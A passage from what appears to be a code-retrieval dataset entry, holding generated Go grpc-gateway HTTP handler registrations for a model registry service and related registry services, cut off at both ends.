req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_DeleteModelVersion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_DeleteModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_RegistryService_DeleteModelVersion_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_DeleteModelVersion_1(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_DeleteModelVersion_1(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_RegistryService_DeleteModelVersion_2, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_DeleteModelVersion_2(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_DeleteModelVersion_2(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_GetUrlForArtifact_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_GetUrlForArtifact_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_GetUrlForArtifact_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_CommitArtifactPart_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_CommitArtifactPart_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_CommitArtifactPart_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_RegistryService_GetCommittedArtifactParts_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_GetCommittedArtifactParts_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_GetCommittedArtifactParts_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_CommitMultipartArtifact_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_CommitMultipartArtifact_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_CommitMultipartArtifact_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_RegistryService_DeleteModelVersionArtifact_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_DeleteModelVersionArtifact_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_DeleteModelVersionArtifact_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_LogDatasetsInModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_LogDatasetsInModelVersion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_LogDatasetsInModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_LogCodeBlobInModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_LogCodeBlobInModelVersion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_LogCodeBlobInModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_LogAttributesInModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_LogAttributesInModelVersion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_LogAttributesInModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_LogDockerMetadataInModelVersion_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_LogDockerMetadataInModelVersion_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_LogDockerMetadataInModelVersion_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_RegistryService_GetExternalDeployment_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_GetExternalDeployment_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_GetExternalDeployment_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_RegistryService_CreateExternalDeployment_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_CreateExternalDeployment_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_CreateExternalDeployment_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_RegistryService_UpdateExternalDeployment_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_UpdateExternalDeployment_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_UpdateExternalDeployment_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_RegistryService_DeleteExternalDeployment_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_RegistryService_DeleteExternalDeployment_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_RegistryService_DeleteExternalDeployment_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" } ]
[ { "docid": "1827e3eca9936e3437347b08c860ee02", "score": "0.76125467", "text": "func RegisterRegistryServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error {\n\treturn RegisterRegistryServiceHandlerClient(ctx, mux, NewRegistryServiceClient(conn))\n}", "title": "" }, { "docid": "c4aeee3d9ed2d7cdf88cf3908c8adc87", "score": "0.7593573", "text": "func RegisterApplicationRegistryHandlerServer(ctx context.Context, mux *runtime.ServeMux, server ApplicationRegistryServer) error {\n\n\tmux.Handle(\"POST\", pattern_ApplicationRegistry_Create_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/ttn.lorawan.v3.ApplicationRegistry/Create\", runtime.WithHTTPPathPattern(\"/users/{collaborator.user_ids.user_id}/applications\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ApplicationRegistry_Create_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ApplicationRegistry_Create_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ApplicationRegistry_Create_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/ttn.lorawan.v3.ApplicationRegistry/Create\", runtime.WithHTTPPathPattern(\"/organizations/{collaborator.organization_ids.organization_id}/applications\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ApplicationRegistry_Create_1(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ApplicationRegistry_Create_1(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ApplicationRegistry_Get_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/ttn.lorawan.v3.ApplicationRegistry/Get\", runtime.WithHTTPPathPattern(\"/applications/{application_ids.application_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ApplicationRegistry_Get_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ApplicationRegistry_Get_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ApplicationRegistry_List_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/ttn.lorawan.v3.ApplicationRegistry/List\", runtime.WithHTTPPathPattern(\"/applications\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ApplicationRegistry_List_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ApplicationRegistry_List_0(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ApplicationRegistry_List_1, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/ttn.lorawan.v3.ApplicationRegistry/List\", runtime.WithHTTPPathPattern(\"/users/{collaborator.user_ids.user_id}/applications\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ApplicationRegistry_List_1(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ApplicationRegistry_List_1(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ApplicationRegistry_List_2, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/ttn.lorawan.v3.ApplicationRegistry/List\", runtime.WithHTTPPathPattern(\"/organizations/{collaborator.organization_ids.organization_id}/applications\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ApplicationRegistry_List_2(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ApplicationRegistry_List_2(annotatedContext, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PUT\", pattern_ApplicationRegistry_Update_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\tvar err error\n\t\tvar annotatedContext context.Context\n\t\tannotatedContext, err = runtime.AnnotateIncomingContext(ctx, mux, req, \"/ttn.lorawan.v3.ApplicationRegistry/Update\", runtime.WithHTTPPathPattern(\"/applications/{application.ids.application_id}\"))\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ApplicationRegistry_Update_0(annotatedContext, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tannotatedContext = runtime.NewServerMetadataContext(annotatedContext, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(annotatedContext, mux, outboundMarshaler, w, req, 